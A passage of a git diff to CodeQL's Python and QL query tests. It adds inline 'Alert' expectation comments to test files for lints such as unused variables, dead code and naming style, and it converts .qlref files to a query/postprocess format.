"blat", "frob", "nosuch", "i_got_it_elsewhere"] +__all__ = ["foo", "bar", "baz", "quux", "blat", "frob", "nosuch", "i_got_it_elsewhere"] # $ Alert[py/undefined-export] with open("foo.txt") as f: foo = f.read() diff --git a/python/ql/test/query-tests/Variables/undefined/odasa3987.py b/python/ql/test/query-tests/Variables/undefined/odasa3987.py index 9c3a5fa5b2f3..43444bb80cdb 100644 --- a/python/ql/test/query-tests/Variables/undefined/odasa3987.py +++ b/python/ql/test/query-tests/Variables/undefined/odasa3987.py @@ -8,7 +8,7 @@ def f(cond1, cond2): except Exception: if cond2: var = 7 - if var == 1: + if var == 1: # $ Alert[py/uninitialized-local-variable] var = var + 1 elif var == 2: var +- 3 diff --git a/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref index 4b9f136451eb..4931ceb29e85 100644 --- a/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref +++ b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref @@ -1 +1,2 @@ -Variables/SuspiciousUnusedLoopIterationVariable.ql \ No newline at end of file +query: Variables/SuspiciousUnusedLoopIterationVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref index bd6e5aaa069d..122b9d6456f6 100644 --- a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref +++ b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref @@ -1 +1,2 @@ -Variables/UnusedLocalVariable.ql +query: Variables/UnusedLocalVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref index 587ad9510764..8709d1bd6045 100644 --- a/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref +++ b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref @@ -1 +1,2 @@ -Variables/UnusedModuleVariable.ql \ No newline at end of file +query: Variables/UnusedModuleVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref b/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref index b37e4859c1b0..1ab2f09ae4ff 100644 --- a/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref +++ b/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref @@ -1 +1,2 @@ -Variables/UnusedParameter.ql +query: Variables/UnusedParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/unused/test.py b/python/ql/test/query-tests/Variables/unused/test.py index 18dd2020306e..2159bf86b6e5 100644 --- a/python/ql/test/query-tests/Variables/unused/test.py +++ b/python/ql/test/query-tests/Variables/unused/test.py @@ -1,7 +1,7 @@ #Unused def fail(): - for t in [TypeA, TypeB]: + for t in [TypeA, TypeB]: # $ Alert[py/unused-loop-variable] x = TypeA() run_test(x) @@ -63,19 +63,19 @@ def OK8(seq, output): #Not OK -- Use a constant, but also a variable def fail2(sequence): for x in sequence: - for y in sequence: + for y in sequence: # $ Alert[py/unused-loop-variable] do_something(x+1) def fail3(sequence): for x in sequence: do_something(x+1) - for y in sequence: + for y in sequence: # $ Alert[py/unused-loop-variable] do_something(x+1) def fail4(coll, sequence): while coll: x = coll.pop() - for s in sequence: + for s in sequence: # $ Alert[py/unused-loop-variable] do_something(x+1) #OK See ODASA-4153 and ODASA-4533 @@ -103,7 +103,7 @@ def kwargs_is_a_use(seq): #A deletion is a use, but this is almost certainly an error def cleanup(sessions): - for sess in sessions: + for sess in sessions: # $ Alert[py/unused-loop-variable] # Original code had some comment about deleting sessions del sess diff --git a/python/ql/test/query-tests/Variables/unused/variables_test.py b/python/ql/test/query-tests/Variables/unused/variables_test.py index 611b9fbd6b2a..18be092a952e 100644 --- a/python/ql/test/query-tests/Variables/unused/variables_test.py +++ b/python/ql/test/query-tests/Variables/unused/variables_test.py @@ -22,11 +22,11 @@ #Unused parameter, local and global -def u1(x): +def u1(x): # $ Alert[py/unused-parameter] return 0 def u2(): - x = 1 + x = 1 # $ Alert[py/unused-local-variable] return 1 #These parameters are OK due to (potential overriding) @@ -45,8 +45,8 @@ def ok3(self, arg): pass #Unused module variable -not_used_var1 = 17 -not_used_var2 = 18 +not_used_var1 = 17 # $ Alert[py/unused-global-variable] +not_used_var2 = 18 # $ Alert[py/unused-global-variable] is_used_var1 = 19 is_used_var2 = 20 @@ -83,21 +83,21 @@ def f(t): # Entirely unused tuple -a,b,c = t +a,b,c = t # $ Alert[py/unused-global-variable] def f(t): - a,b,c = t + a,b,c = t # $ Alert[py/unused-local-variable] use(t) def second_def_undefined(): var = 0 use(var) - var = 1 # unused. + var = 1 # unused. # $ Alert[py/unused-local-variable] #And gloablly glob_var = 0 use(glob_var) -glob_var = 1 # unused +glob_var = 1 # unused # $ Alert[py/unused-global-variable] @@ -130,7 +130,7 @@ class C(object): #FP observed def test_dict_unpacking(queryset, field_name, value): #True positive - for tag in value.split(','): + for tag in value.split(','): # $ Alert[py/unused-loop-variable] queryset = queryset.filter(**{field_name + '__name': tag1}) return queryset #False positive diff --git a/python/ql/test/query-tests/Variables/unused_local_nonlocal/UnusedLocalVariable.qlref b/python/ql/test/query-tests/Variables/unused_local_nonlocal/UnusedLocalVariable.qlref index bd6e5aaa069d..122b9d6456f6 100644 --- a/python/ql/test/query-tests/Variables/unused_local_nonlocal/UnusedLocalVariable.qlref +++ b/python/ql/test/query-tests/Variables/unused_local_nonlocal/UnusedLocalVariable.qlref @@ -1 +1,2 @@ -Variables/UnusedLocalVariable.ql +query: Variables/UnusedLocalVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/Variables/unused_local_nonlocal/variables_test.py b/python/ql/test/query-tests/Variables/unused_local_nonlocal/variables_test.py index 4986a6f4eb3f..da7f7dcf7e5e 100644 --- a/python/ql/test/query-tests/Variables/unused_local_nonlocal/variables_test.py +++ b/python/ql/test/query-tests/Variables/unused_local_nonlocal/variables_test.py @@ -29,7 +29,7 @@ def not_fp(): def nonlocal_test(): nonlocal test def set_test(): - test = True + test = True # $ Alert nonlocal_test() set_test() if test: diff --git a/python/ql/test/query-tests/analysis/Consistency/Consistency.qlref b/python/ql/test/query-tests/analysis/Consistency/Consistency.qlref index 6abbdd6dd64d..0343f08ebf44 100644 --- a/python/ql/test/query-tests/analysis/Consistency/Consistency.qlref +++ b/python/ql/test/query-tests/analysis/Consistency/Consistency.qlref @@ -1 +1 @@ -analysis/Consistency.ql +query: analysis/Consistency.ql diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref index d4e89a35c97f..cb6af4ba5b57 100644 --- a/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref +++ b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref @@ -1 +1 @@ -analysis/Definitions.ql +query: analysis/Definitions.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref b/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref index b08adfa00b57..991e596544b2 100644 --- a/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref +++ b/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref @@ -1 +1 @@ -analysis/FailedInference.ql +query: analysis/FailedInference.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref index db945187917b..bd2bce681851 100644 --- a/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref +++ b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref @@ -1 +1,2 @@ -analysis/KeyPointsToFailure.ql \ No newline at end of file +query: analysis/KeyPointsToFailure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref b/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref index 2d2c28dbc261..ab448a5dfe67 100644 --- a/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref +++ b/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref @@ -1 +1 @@ -analysis/Pruned.ql +query: analysis/Pruned.ql diff --git a/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref index 9d7833eccae7..dc898fca718c 100644 --- a/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref +++ b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref @@ -1 +1 @@ -AlertSuppression.ql +query: AlertSuppression.ql diff --git a/ql/ql/test/queries/bugs/OrderByConst/Foo.qll b/ql/ql/test/queries/bugs/OrderByConst/Foo.qll index 7229564660ee..9f51572689c1 100644 --- a/ql/ql/test/queries/bugs/OrderByConst/Foo.qll +++ b/ql/ql/test/queries/bugs/OrderByConst/Foo.qll @@ -1,5 +1,5 @@ string foo() { - result = concat(string x | x = [0 .. 10].toString() | x order by x desc, ", ") // BAD + result = concat(string x | x = [0 .. 10].toString() | x order by x desc, ", ") // $ Alert // BAD or result = concat(string x | x = [0 .. 10].toString() | x, ", " order by x desc) // GOOD } diff --git a/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref b/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref index 809589a856f7..9c2263fc14df 100644 --- a/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref +++ b/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref @@ -1 +1,2 @@ -queries/bugs/OrderByConst.ql \ No newline at end of file +query: queries/bugs/OrderByConst.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref b/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref index dc782dfbd0ab..46f2785806e9 100644 --- a/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref +++ b/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref @@ -1 +1,2 @@ -queries/bugs/SumWithoutDomain.ql \ No newline at end of file +query: queries/bugs/SumWithoutDomain.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll b/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll index 8190aed81012..9b15c38d9c6e 100644 --- a/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll +++ b/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll @@ -1,6 +1,6 @@ // Result is 3 and not 4 int foo() { - result = sum([1, 1, 2]) // <- Alert here + result = sum([1, 1, 2]) // $ Alert // <- Alert here } // Ok - false negative diff --git a/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref b/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref index 0347e9eedc54..b3385b469714 100644 --- a/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref +++ b/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref @@ -1 +1,2 @@ -queries/overlay/InlineOverlayCaller.ql +query: queries/overlay/InlineOverlayCaller.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll b/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll index e25577d91a17..a3e2f19447a3 100644 --- a/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll +++ b/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll @@ -4,7 +4,7 @@ module; import ql pragma[inline] -predicate foo(int x) { x = 42 } +predicate foo(int x) { x = 42 } // $ Alert overlay[caller] pragma[inline] diff --git a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref index 4d7907c36ef3..4dc5cc5d490b 100644 --- a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref +++ b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref @@ -1 +1,2 @@ -queries/performance/AbstractClassImport.ql \ No newline at end of file +query: queries/performance/AbstractClassImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll index ce7f7c4ea688..fe2519cc0d56 100644 --- a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll +++ b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll @@ -1,4 +1,4 @@ import ql import AbstractClassImportTest2 -abstract class Base extends AstNode { } +abstract class Base extends AstNode { } // $ Alert diff --git a/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref b/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref index aee3346d730d..f1bc931e122b 100644 --- a/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref +++ b/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref @@ -1 +1,2 @@ -queries/performance/MissingNoinline.ql \ No newline at end of file +query: queries/performance/MissingNoinline.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/performance/MissingNoInline/Test.qll b/ql/ql/test/queries/performance/MissingNoInline/Test.qll index a55315be7e20..a92f7f38d0cc 100644 --- a/ql/ql/test/queries/performance/MissingNoInline/Test.qll +++ b/ql/ql/test/queries/performance/MissingNoInline/Test.qll @@ -5,7 +5,7 @@ import ql * * This predicate exists to fix a join order. */ -predicate missingNoInline(AddExpr add, Expr e1, Expr e2) { +predicate missingNoInline(AddExpr add, Expr e1, Expr e2) { // $ Alert // BAD add.getLeftOperand() = e1 and add.getRightOperand() = e2 diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll index 10e97e582096..b4b30f100286 100644 --- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll +++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll @@ -13,21 +13,21 @@ class MyStr extends string { predicate bad1(Big b) { b.toString().matches("%foo") or - any() + any() // $ Alert } int bad2() { exists(Big big, Small small | result = big.toString().toInt() or - result = small.toString().toInt() + result = small.toString().toInt() // $ Alert ) } float bad3(Big t) { result = [1 .. 10].toString().toFloat() or result = [11 .. 20].toString().toFloat() or - result = t.toString().toFloat() or + result = t.toString().toFloat() or // $ Alert result = [21 .. 30].toString().toFloat() } @@ -50,7 +50,7 @@ predicate bad4(Big fromType, Big toType) { or fromType.toString().matches("%foo") or - helper(toType, fromType) + helper(toType, fromType) // $ Alert } predicate good2(Big t) { @@ -71,7 +71,7 @@ predicate mixed1(Big good, Small small) { small.toString().matches("%foo") and // the use of good is fine, the comparison further up binds it. // the same is not true for bad. - (bad.toString().matches("%foo") or good.toString().regexpMatch("foo.*")) and + (bad.toString().matches("%foo") or good.toString().regexpMatch("foo.*")) and // $ Alert small.toString().regexpMatch(".*foo") ) } @@ -112,7 +112,7 @@ predicate good5(Big bb, Big v, boolean certain) { ) } -predicate bad5(Big bb) { if none() then bb.toString().matches("%foo") else any() } +predicate bad5(Big bb) { if none() then bb.toString().matches("%foo") else any() } // $ Alert pragma[inline] predicate good5(Big a, Big b) { @@ -126,12 +126,12 @@ predicate bad6(Big a) { ( a.toString().matches("%foo") // bad or - any() + any() // $ Alert ) and ( a.toString().matches("%foo") // also bad or - any() + any() // $ Alert ) } @@ -163,7 +163,7 @@ class HasField extends Big { HasField() { field = this or - this.toString().matches("%foo") // <- field only defined here. + this.toString().matches("%foo") // $ Alert // <- field only defined here. } Big getField() { result = field } diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref b/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref index 28f0c0d938a1..0413e31942f1 100644 --- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref +++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref @@ -1 +1,2 @@ -queries/performance/VarUnusedInDisjunct.ql \ No newline at end of file +query: queries/performance/VarUnusedInDisjunct.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref index 0f57f1fa66c7..3e287c27a394 100644 --- a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref +++ b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref @@ -1 +1,2 @@ -queries/style/AcronymsShouldBeCamelCase.ql \ No newline at end of file +query: queries/style/AcronymsShouldBeCamelCase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll index 1ff0d4c0d52f..06742e069485 100644 --- a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll +++ b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll @@ -1,13 +1,13 @@ // BAD -predicate isXML() { any() } +predicate isXML() { any() } // $ Alert // GOOD [ AES is exceptional ] predicate isAES() { any() } // BAD -newtype TXMLElements = +newtype TXMLElements = // $ Alert TXmlElement() or // GOOD - TXMLElement() // BAD + TXMLElement() // $ Alert // BAD // GOOD newtype TIRFunction = MkIRFunction() diff --git a/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref b/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref index 78879bb0ab03..36a6244669b8 100644 --- a/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref +++ b/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref @@ -1 +1,2 @@ -queries/style/CouldBeCast.ql \ No newline at end of file +query: queries/style/CouldBeCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/CouldBeCast/Foo.qll b/ql/ql/test/queries/style/CouldBeCast/Foo.qll index 5f6771f00437..6c3da185fe6f 100644 --- a/ql/ql/test/queries/style/CouldBeCast/Foo.qll +++ b/ql/ql/test/queries/style/CouldBeCast/Foo.qll @@ -1,20 +1,20 @@ bindingset[i] predicate foo(int i) { - exists(Even j | j = i) // NOT OK + exists(Even j | j = i) // $ Alert // NOT OK or exists(Even j | j = i | j % 4 = 0) // OK or - any(Even j | j = i) = 2 // NOT OK + any(Even j | j = i) = 2 // $ Alert // NOT OK or - any(Even j | j = i | j) = 2 // NOT OK + any(Even j | j = i | j) = 2 // $ Alert // NOT OK or any(Even j | j = i | j * 2) = 4 // OK or any(Even j | j = i and j % 4 = 0 | j) = 4 // OK or - any(int j | j = i) = 2 // NOT OK + any(int j | j = i) = 2 // $ Alert // NOT OK or - exists(int j | j = i) // NOT OK + exists(int j | j = i) // $ Alert // NOT OK } class Even extends int { diff --git a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref index 62375818f5ea..2025f1cdb902 100644 --- a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref +++ b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref @@ -1 +1,2 @@ -queries/style/DataFlowConfigModuleNaming.ql \ No newline at end of file +query: queries/style/DataFlowConfigModuleNaming.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll index a06118a7fe0a..6da96a4b572d 100644 --- a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll +++ b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll @@ -8,14 +8,14 @@ module EmptyConfig implements DataFlow::ConfigSig { } // BAD - does not end with "Config" -module EmptyConfiguration implements DataFlow::ConfigSig { +module EmptyConfiguration implements DataFlow::ConfigSig { // $ Alert predicate isSource(DataFlow::Node src) { none() } predicate isSink(DataFlow::Node sink) { none() } } // BAD - does not end with "Config" -module EmptyFlow implements DataFlow::ConfigSig { +module EmptyFlow implements DataFlow::ConfigSig { // $ Alert predicate isSource(DataFlow::Node src) { none() } predicate isSink(DataFlow::Node sink) { none() } diff --git a/ql/ql/test/queries/style/DeadCode/DeadCode.qlref b/ql/ql/test/queries/style/DeadCode/DeadCode.qlref index ac615af49617..704cc5c1365e 100644 --- a/ql/ql/test/queries/style/DeadCode/DeadCode.qlref +++ b/ql/ql/test/queries/style/DeadCode/DeadCode.qlref @@ -1 +1,2 @@ -queries/style/DeadCode.ql \ No newline at end of file +query: queries/style/DeadCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/DeadCode/Foo.qll b/ql/ql/test/queries/style/DeadCode/Foo.qll index a5b5b08e2a4a..32fab335b780 100644 --- a/ql/ql/test/queries/style/DeadCode/Foo.qll +++ b/ql/ql/test/queries/style/DeadCode/Foo.qll @@ -1,11 +1,11 @@ import ql private module Mixed { - private predicate dead1() { none() } + private predicate dead1() { none() } // $ Alert predicate alive1() { none() } - predicate dead2() { none() } + predicate dead2() { none() } // $ Alert } predicate usesAlive() { Mixed::alive1() } @@ -43,7 +43,7 @@ private module Input1 implements InputSig { predicate foo() { any() } } -private module Input2 implements InputSig { +private module Input2 implements InputSig { // $ Alert predicate foo() { any() } } @@ -53,7 +53,7 @@ private module Input3 implements InputSig { module M1 = ParameterizedModule; -private module M2 = ParameterizedModule; +private module M2 = ParameterizedModule; // $ Alert import ParameterizedModule @@ -65,7 +65,7 @@ private class CImpl1 extends AstNode { } final class CPublic1 = CImpl1; -private class CImpl2 extends AstNode { } +private class CImpl2 extends AstNode { } // $ Alert overlay[discard_entity] private predicate discard(@foo x) { any() } diff --git a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll index edfc8b4576e9..4f1d5da7196b 100644 --- a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll +++ b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll @@ -1,5 +1,5 @@ class C1 extends int { - int field; // BAD + int field; // $ Alert // BAD C1() { this = field and diff --git a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref index 0e77c6ae6fe2..cf83276fb00e 100644 --- a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref +++ b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref @@ -1 +1,2 @@ -queries/style/FieldOnlyUsedInCharPred.ql +query: queries/style/FieldOnlyUsedInCharPred.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/ImplicitThis/Bad.qll b/ql/ql/test/queries/style/ImplicitThis/Bad.qll index 97b51284acc5..c1834c8bb6b7 100644 --- a/ql/ql/test/queries/style/ImplicitThis/Bad.qll +++ b/ql/ql/test/queries/style/ImplicitThis/Bad.qll @@ -7,5 +7,5 @@ class Foo extends string { string getBarWithThis() { result = this.getBar() } - string getBarWithoutThis() { result = getBar() } + string getBarWithoutThis() { result = getBar() } // $ Alert } diff --git a/ql/ql/test/queries/style/ImplicitThis/Bad2.qll b/ql/ql/test/queries/style/ImplicitThis/Bad2.qll index 27d7485ca4f9..540c02f09216 100644 --- a/ql/ql/test/queries/style/ImplicitThis/Bad2.qll +++ b/ql/ql/test/queries/style/ImplicitThis/Bad2.qll @@ -5,5 +5,5 @@ class Foo extends string { string getBar() { result = "bar" } - string getBarWithoutThis() { result = getBar() } + string getBarWithoutThis() { result = getBar() } // $ Alert } diff --git a/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref b/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref index 0bdcd3b4b5b0..f751b15e8146 100644 --- a/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref +++ b/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref @@ -1 +1,2 @@ -queries/style/ImplicitThis.ql +query: queries/style/ImplicitThis.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll b/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll index 13509dbe5218..ffd21d59a5c9 100644 --- a/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll +++ b/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll @@ -2,7 +2,7 @@ predicate test1(int param1, int param2, int param3) { none() } // OK /** `param1`, `par2` */ -predicate test2(int param1, int param2) { none() } // NOT OK - `par2` is not a parameter, and `param2` has no documentation +predicate test2(int param1, int param2) { none() } // $ Alert // NOT OK - `par2` is not a parameter, and `param2` has no documentation /** `param1`, `par2 + par3` */ predicate test3(int param1, int par2, int par3) { none() } // OK @@ -11,4 +11,4 @@ predicate test3(int param1, int par2, int par3) { none() } // OK predicate test4(int param1, int param2) { none() } // OK - the QLDoc mentions none of the parameters, that's OK /** the param1 parameter is mentioned in a non-code block, but the `par2` parameter is misspelled */ -predicate test5(int param1, int param2) { none() } // NOT OK - the `param1` parameter is "documented" in clear text, but `par2` is misspelled +predicate test5(int param1, int param2) { none() } // $ Alert // NOT OK - the `param1` parameter is "documented" in clear text, but `par2` is misspelled diff --git a/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref b/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref index 0539e4f5de2d..a7d2f3d0a1d9 100644 --- a/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref +++ b/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref @@ -1 +1,2 @@ -queries/style/MissingParameterInQlDoc.ql \ No newline at end of file +query: queries/style/MissingParameterInQlDoc.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref index 6d7eb26bedeb..48abe277264b 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref @@ -1 +1,2 @@ -queries/style/MissingQualityMetadata.ql +query: queries/style/MissingQualityMetadata.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql index 3dd18771f959..0b1290de98b2 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * error-handling - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql index a9a7b48b76c7..4624b6d1076e 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * reliability - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql index ad2ab5c1fb57..8c8bda6294e5 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql @@ -7,7 +7,7 @@ * @id ql/quality-query-test * @tags quality * someothertag - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql index 53e84fb8a196..1a33baf6c516 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql +++ 